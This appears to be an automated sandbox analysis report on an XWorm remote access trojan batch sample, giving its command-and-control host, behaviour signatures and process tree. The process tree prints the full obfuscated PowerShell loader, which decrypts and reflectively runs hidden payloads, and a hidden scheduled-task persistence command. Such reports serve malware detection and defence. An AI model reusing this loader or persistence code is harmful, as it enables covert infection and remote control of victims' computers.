Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/02/2026, 14:36

General

  • Target
    iiii--.bat
  • Size 258KB
  • Sample260208-ryl3esft4f
  • SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 3.0

C2
  • rmaa7-37443.portmap.host:37443

Mutex
  • HyHMCfgzRcyujrsS

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\iiii--.bat iuhjguyuvb
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Local\Temp\iiii--.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('iuhjguyuvb'));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_457_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_457.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2160
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_457.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4100
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_457.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4092
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Roaming\startup_str_457.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:4796

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7daf7ac3d9f970891595a4ee6004ae81c42e4b14154a065f95c42535f6a788d3
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_coqiqmin.fve.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_coqiqmin.fve.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        tmpC7A0.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\tmpC7A0.tmp
        • Size 100KB
        • SHA256 555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        startup_str_457.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_457.bat
        • Size 258KB
        • SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
        • MD5 SHA1 SHA512 SSDEEP TLSH

        startup_str_457.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_457.vbs
        • Size 115B
        • SHA256 97f6dba773022dbd6ba7b990a2389e9de128917ec4af6d792299bfd282f81a36
        • MD5 SHA1 SHA512 TLSH

        memory/2160-24-0x000001542FFF0000-0x000001543020C000-memory.dmp

        memory/2160-14-0x000001542FF40000-0x000001542FF50000-memory.dmp

        memory/2160-13-0x000001542FF40000-0x000001542FF50000-memory.dmp

        memory/3940-0-0x0000028DBEF70000-0x0000028DBEF80000-memory.dmp

        memory/3940-11-0x0000028DBF400000-0x0000028DBF432000-memory.dmp

        memory/3940-10-0x0000028DBF3D0000-0x0000028DBF3D8000-memory.dmp

        memory/3940-3-0x0000028DBEF80000-0x0000028DBEFA2000-memory.dmp

        memory/3940-33-0x0000028DBEFB0000-0x0000028DBF1CC000-memory.dmp

        memory/3940-1-0x0000028DBEF70000-0x0000028DBEF80000-memory.dmp

        memory/4796-42-0x000002BDCADD0000-0x000002BDCADDE000-memory.dmp

        memory/4796-43-0x000002BDCB0A0000-0x000002BDCB0DA000-memory.dmp

        memory/4796-48-0x000002BDCA0B0000-0x000002BDCA0BA000-memory.dmp